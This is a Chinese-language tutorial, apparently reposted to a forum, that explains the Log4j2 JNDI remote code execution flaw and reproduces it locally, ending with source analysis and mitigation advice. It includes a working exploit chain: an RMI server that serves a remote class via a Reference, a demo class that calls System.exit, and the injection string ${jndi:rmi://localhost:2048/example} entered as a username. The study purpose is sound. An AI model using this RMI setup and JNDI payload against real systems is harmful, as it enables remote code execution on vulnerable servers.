【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变

斐然發表於 2023-6-6 00:00:00

【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变

<div id="navCategory"><h5 class="catalogue">目录</h5><ul class="first_class_ul"><li>
JNDI介绍
<ul class="second_class_ul"><li>
1、JNDI定义
</li><li>
2、JNDI架构
</li><li>
3、JNDI核心API
</li><li>
攻击原理
</li></ul></li><li>
漏洞复现
<ul class="second_class_ul"><li>
1、创建恶意代码
</li><li>
2、发布恶意代码
</li><li>
3、创建RMI服务
</li><li>
4、注入恶意代码
</li><li>
源码分析
</li><li>
风险条件
</li></ul></li></ul></div>
<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/5f8c3c364afa123832e62b11c26edde5.jpg">

经过一周时间的Log4j2 RCE事件的发酵，事情也变也越来越复杂和有趣，就连 Log4j 官方紧急发布了 2.15.0 版本之后没有过多久，又发声明说 2.15.0 版本也没有完全解决问题，然后进而继续发布了 2.16.0 版本。大家都以为2.16.0是最终终结版本了，没想到才过多久又爆雷，Log4j 2.17.0横空出世。


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/587bdca7e7f06f5826cb82b407dafb75.jpg">

相信各位小伙伴都在加班加点熬夜紧急修复和改正Apache Log4j爆出的安全漏洞，各企业都瑟瑟发抖，连网警都通知各位站长，包括我也收到了湖南长沙高新区网警的通知。


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/261ff9cca017bc7d029be9c03a5e560c.jpg">

我也紧急发布了两篇教程，给各位小伙伴支招，我之前发布的教程依然有效。

<ul>
<li>
【紧急】Apache Log4j任意代码执行漏洞安全风险升级修复教程
</li>
<li>
【紧急】继续折腾，Log4j再发2.16.0，强烈建议升级
</li>
</ul>

<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/34c767750f685bc693d419a0d70df150.jpg">

<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/8093ba4280d6dd70bd322945b3cd5f27.jpg">

<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/083b49f614c6aabd07d073761b983cd7.jpg">

<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/ded6a4b6491b205e43da9b8981083fe5.jpg">

虽然，各位小伙伴按照教程一步一步操作能快速解决问题，但是很多小伙伴依旧有很多疑惑，不知其所以然。在这里我给大家详细分析并复现一下Log4j2漏洞产生的原因，纯粹是以学习为目的。


Log4j2漏洞总体来说是通过JNDI注入恶意代码来完成攻击，具体的操作方式有RMI和LDAP等。

<h2>
JNDI介绍
</h2>
<h3>
1、JNDI定义
</h3>

JNDI(Java Naming and Directory Interface，Java命名和目录接口)是Java中为命名和目录服务提供接口的API，JNDI主要由两部分组成：Naming(命名)和Directory(目录)，其中Naming是指将对象通过唯一标识符绑定到一个上下文Context，同时可通过唯一标识符查找获得对象，而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中，同时可通过名称获取对象的属性，同时也可以操作属性。

<h3>
2、JNDI架构
</h3>

Java应用程序通过JNDI API访问目录服务，而JNDI API会调用Naming Manager实例化JNDI SPI，然后通过JNDI SPI去操作命名或目录服务其如LDAP， DNS，RMI等，JNDI内部已实现了对LDAP，DNS， RMI等目录服务器的操作API。其架构图如下所示：


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/745ff0d15a8eea8268d6a5af40909ab0.jpg">
<h3>
3、JNDI核心API
</h3>

<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/fe07db6c7b81acb97cb8e6f37b827dd7.jpg">

Java通过JNDI API去调用服务。例如，我们大家熟悉的odbc数据连接，就是通过JNDI的方式来调用数据源的。以下代码大家应该很熟悉：

<ol class="dp-sql">
<li class="alt">
<?xml version="1.0" encoding="UTF-8"?> 

</li>
<li>
<context></context>
</li>
<li class="alt">
<resource class="keyword">name</resource>="jndi/person" 
</li>
<li>
auth="Container" 
</li>
<li class="alt">
type="javax.sql.DataSource" 
</li>
<li>
username="root" 
</li>
<li class="alt">
password="root" 
</li>
<li>
driverClassName="com.mysql.jdbc.Driver" 
</li>
<li class="alt">
url="jdbc:mysql://localhost:3306/test" 
</li>
<li>
maxTotal="8" 
</li>
<li class="alt">
maxIdle="4"/> 
</li>
<li>

</li>
</ol>

<context><resource auth="Container" type="javax.sql.DataSource" username="root" password="root" driverclassname="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/test" maxtotal="8" maxidle="4" name="jndi/person"></resource></context>

在Context.xml文件中我们可以定义数据库驱动，url、账号密码等关键信息，其中name这个字段的内容为自定义。下面使用InitialContext对象获取数据源

<ol class="dp-sql">
<li class="alt">
Connection conn=null; 
</li>
<li>
PreparedStatement ps = null; 
</li>
<li class="alt">
ResultSet rs = null; 
</li>
<li>
try { 
</li>
<li class="alt">
Context ctx=new InitialContext(); 
</li>
<li>
Object datasourceRef=ctx.lookup("java:comp/env/jndi/person"); //引用数据源 
</li>
<li class="alt">
DataSource ds=(Datasource)datasourceRef; 
</li>
<li>
conn = ds.getConnection(); 
</li>
<li class="alt">

</li>
<li>
//省略部分代码 
</li>
<li class="alt">
... 
</li>
<li>

</li>
<li class="alt">
c.close(); 
</li>
<li>
} catch(Exception e) { 
</li>
<li class="alt">
e.printStackTrace(); 
</li>
<li>
} finally { 
</li>
<li class="alt">
if(conn!=null) { 
</li>
<li>
try { 
</li>
<li class="alt">
conn.close(); 
</li>
<li>
} catch(SQLException e) { } 
</li>
<li class="alt">
} 
</li>
<li>
} 
</li>
</ol>

是不是很熟悉呢?JNDI的其他应用在此我就不多做介绍了，如果还不了解JNDI/RMI/LDAP等相关概念的小伙伴请自行百度一下。

<h3>
攻击原理
</h3>

下面我以RMI的方式为例，详细复现步骤和分析原因。解释基本攻击原理之前，我们先来看一张时序图：


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/a5851d6281ec9f42015cff0a67bc1485.jpg">

1、攻击者首先发布一个RMI服务，此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。例如：包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。


2、攻击者再发布另一个恶意代码下载服务，此服务可以下载所有含有恶意代码的类。


3、攻击者利用Log4j2的漏洞注入RMI调用，例如：logger.info("日志信息 ${jndi:rmi://rmi-service:port/example}")。


4、调用RMI后将获取到引用类型的RMI远程对象，该对象将就加载恶意代码并执行。

<h2>
漏洞复现
</h2>
<h3>
1、创建恶意代码
</h3>

创建恶意代码相关类，以下代码仅供学习：

<ol class="dp-sql">
<li class="alt">
package com.tom.example.log4j; 
</li>
<li>

</li>
<li class="alt">
public class HackedClassFactory { 
</li>
<li>

</li>
<li class="alt">
public HackedClassFactory(){ 
</li>
<li>
System.out.println("程序即将终止"); 
</li>
<li class="alt">
System.exit(1); 
</li>
<li>
} 
</li>
<li class="alt">
} 
</li>
</ol>

创建HackedClassFactory类的定义，在构造函数里写入终止程序运行的恶意代码。

<h3>
2、发布恶意代码
</h3>

将HackedClassFactory类打成jar包，发布到HTTP服务器上，能通过简单的Get请求正常下载即可。


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/d0ca956b2ae00d57e378fd3604ba06c3.jpg">
<h3>
3、创建RMI服务
</h3>

编写如下代码，并运行程序：

<ol class="dp-sql">
<li class="alt">
package com.tom.example.rmi; 
</li>
<li>

</li>
<li class="alt">
import javax.naming.Context; 
</li>
<li>
import javax.naming.InitialContext; 
</li>
<li class="alt">
import javax.naming.Reference; 
</li>
<li>
import java.rmi.registry.LocateRegistry; 
</li>
<li class="alt">
import java.util.Hashtable; 
</li>
<li>
import com.sun.jndi.rmi.registry.ReferenceWrapper; 
</li>
<li class="alt">

</li>
<li>
public class HackedRmiService { 
</li>
<li class="alt">

</li>
<li>
public static void main(String[] args) { 
</li>
<li class="alt">
try { 
</li>
<li>
int port = 2048; //设置RMI服务远程监听端口 
</li>
<li class="alt">
//创建并发布RMI服务 
</li>
<li>
LocateRegistry.createRegistry(port); 
</li>
<li class="alt">
Hashtable<string object> env = new Hashtable<string>(); </string></string>
</li>
<li>
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); 
</li>
<li class="alt">
env.put(Context.PROVIDER_URL,"rmi://127.0.0.1" + ":" + port); 
</li>
<li>
Context context = new InitialContext(env); 
</li>
<li class="alt">

</li>
<li>

</li>
<li class="alt">
String serviceName = "example"; 
</li>
<li>
String serviceClassName = "com.tom.example.log4j.HackedClassFactory"; 
</li>
<li class="alt">
//指定恶意代码的下载地址 
</li>
<li>
Reference refer = new Reference( 
</li>
<li class="alt">
serviceName, 
</li>
<li>
serviceClassName, 
</li>
<li class="alt">
"http://127.0.0.1/example/classes.jar"); 
</li>
<li>
ReferenceWrapper wrapper = new ReferenceWrapper(refer); 
</li>
<li class="alt">

</li>
<li>
//为RMI服务绑定一个引用类型的对象，此对象可以被远程访问 
</li>
<li class="alt">
context.bind(serviceName,wrapper); 
</li>
<li>

</li>
<li class="alt">
}catch (Exception e){ 
</li>
<li>
e.printStackTrace(); 
</li>
<li class="alt">
} 
</li>
<li>
} 
</li>
<li class="alt">
} 
</li>
</ol>

RMI服务启动之后，即发布了监听端口为2048的RMI服务。


运行 netstat -ano | find "2048" 命令检验，得到如下结果，说明RMI服务已经正常启动，如下图：


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/e07e8748f428f70759212b0099ea8fe0.jpg">
<h3>
4、注入恶意代码
</h3>

下面我们利用Log4j的漏洞注入恶意代码，有已知用户登录的业务场景，小伙伴们先不管它是如何实现的，其代码如下：

<ol class="dp-sql">
<li class="alt">
@RequestMapping(value="/login") 
</li>
<li>
public ResponseEntity login(String loginName,String loginPass){ 
</li>
<li class="alt">

</li>
<li>
ResultMsg> data = memberService.login(loginName,loginPass); 
</li>
<li class="alt">

</li>
<li>
//演示代码，省略业务逻辑，默认为登录成功 
</li>
<li class="alt">
log.info("登录成功",loginName); 
</li>
<li>

</li>
<li class="alt">
String json = JSON.toJSONString(data); 
</li>
<li>

</li>
<li class="alt">
return ResponseEntity 
</li>
<li>
.ok() 
</li>
<li class="alt">
.contentType(MediaType.APPLICATION_JSON) 
</li>
<li>
.body(json); 
</li>
<li class="alt">
} 
</li>
</ol>

利用Postman测试，首先正常访问能得到期望的结果，如下图所示：


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/b9e572061e8f9a44990552d9b06d34ee.jpg">

用户登录成功后会正常返回token，这看上去是一个常规操作。细心的小伙发现，在登录成功之后，后台会打印一条日志且输出登录的用户名。


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/503d8d0a5e116de850c7b9ddf8a5db91.jpg">

接下来，我做一个非常规操作。将用户名输入为${jndi:rmi://localhost:2048/example}


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/eeaefccbe81db2c63c1576e52ff3ea75.jpg">

我们发现程序已经无法响应，再看后台日志，已经终止运行。


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/265f576bddc5e5294d7124f0b34f140c.jpg">

这里仅仅只是演示效果，我编写的恶意代码只是终止程序，如果攻击者注入的是其他恶意代码，那后果将不堪设想。

<h3>
源码分析
</h3>

通过以上案例还原了攻击者利用Log4j的漏洞对目标程序进行攻击的完整过程，接下来分析一下Log4j的源码从而了解根本原因。其罪魁祸首是Log4j2 的MessagePatternConverter组件中的format()方法，Log4j在记录日志的时候会间接的调用该方法，具体源码如下：


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/8c18ce001788142ae7ee7043675850ae.jpg">

从源码中我们可以发现该方法会截取 $ 和 { } 之间的字符串，将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协议格式则进行JNDI方式的RMI调用,从而触发原生的RMI服务调用。具体调用位置在StrSubstitutor的substitute()方法:


<string></string>
<ol class="dp-sql">
<li class="alt">
private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List<string> priorVariables) { </string>
</li>
<li>

</li>
<li class="alt">
//此处省略部分代码 
</li>
<li>
... 
</li>
<li class="alt">

</li>
<li>
this.checkCyclicSubstitution(varName, (List)priorVariables); 
</li>
<li class="alt">
((List)priorVariables).add(varName); 
</li>
<li>
String varValue = this.resolveVariable(event, varName, buf, startPos, pos); 
</li>
<li class="alt">
if (varValue == null) { 
</li>
<li>
varValue = varDefaultValue; 
</li>
<li class="alt">
} 
</li>
<li>

</li>
<li class="alt">
//此处省略部分代码 
</li>
<li>
... 
</li>
<li class="alt">

</li>
<li>
} 
</li>
</ol>

上述代码中的resolveVariable()最终会调用InitialContext的lookup()方法：

<ol class="dp-sql">
<li class="alt">
protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) { 
</li>
<li>
StrLookup resolver = this.getVariableResolver(); 
</li>
<li class="alt">
return resolver == null ? null : resolver.lookup(event, variableName); 
</li>
<li>
} 
</li>
</ol>

通过断点调试，我们确实发现调用了RMI服务，图下图所示：


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/49e3d1d14c7a6f30af4a86d867a18c54.jpg">

最终恶意代码通过RMI加载完成以后，会调用javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法加载恶意代码，也就是我们之前写的com.tom.example.log4j.HackedClassFactory类。首先会在尝试本地找，如果本地找不到会通过远程地址加载，也就是我们发布的下载服务，即http://127.0.0.1/example/classes.jar


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/30c6314d227a95910b43769bc2c448da.jpg">

加载远程代码之后，通过反射调用构造器创建攻击类的实例，而恶意代码编写在构造器中，所以在被攻击者的程序中间接执行了恶意代码。


<img title="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" alt="【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变" border="0" src="https://zhuji.jb51.net/uploads/img/202305/139e82a398c837f64e0d62575d8bcc0e.jpg">

看到这里，小伙伴们是不是有种和SQL注入如出一辙的感觉。

<h3>
风险条件
</h3>

该漏洞需要满足以下条件才有可能被攻击：


1、首先使用的是Logj4j2的漏洞版本，即 <= 2.14.1的版本。


2、攻击者有机会注入恶意代码，例如系统中记录的日志信息没有任何特殊过滤。


3、攻击者需要发布RMI远程服务和恶意代码下载服务。


4、被攻击者的网络可以访问到RMI服务和恶意代码下载服务，即被攻击者的服务器可以随意访问公网，或者在内网发布过类似的危险服务。


5、被攻击者在JVM中开启了RMI/LDAP等协议的truseURLCodebase属性为ture。


以上就是我对Log4j2 RCE漏洞的完整复现及根本原因分析，当然最高效的方式还是关闭Lookup相关功能。虽然，官方也在紧急修复，但涉及到软件升级存在一定风险，还有可能需要大量的重复测试工作。


原文链接：https://mp.weixin.qq.com/s/e0VKg91vQG7C8z-Tr1TSRg

頁: [1]

琼殿技术论坛's Archiver

【紧急】Log4j又发新版2.17.0，只有彻底搞懂RCE漏洞原因，以不变应万变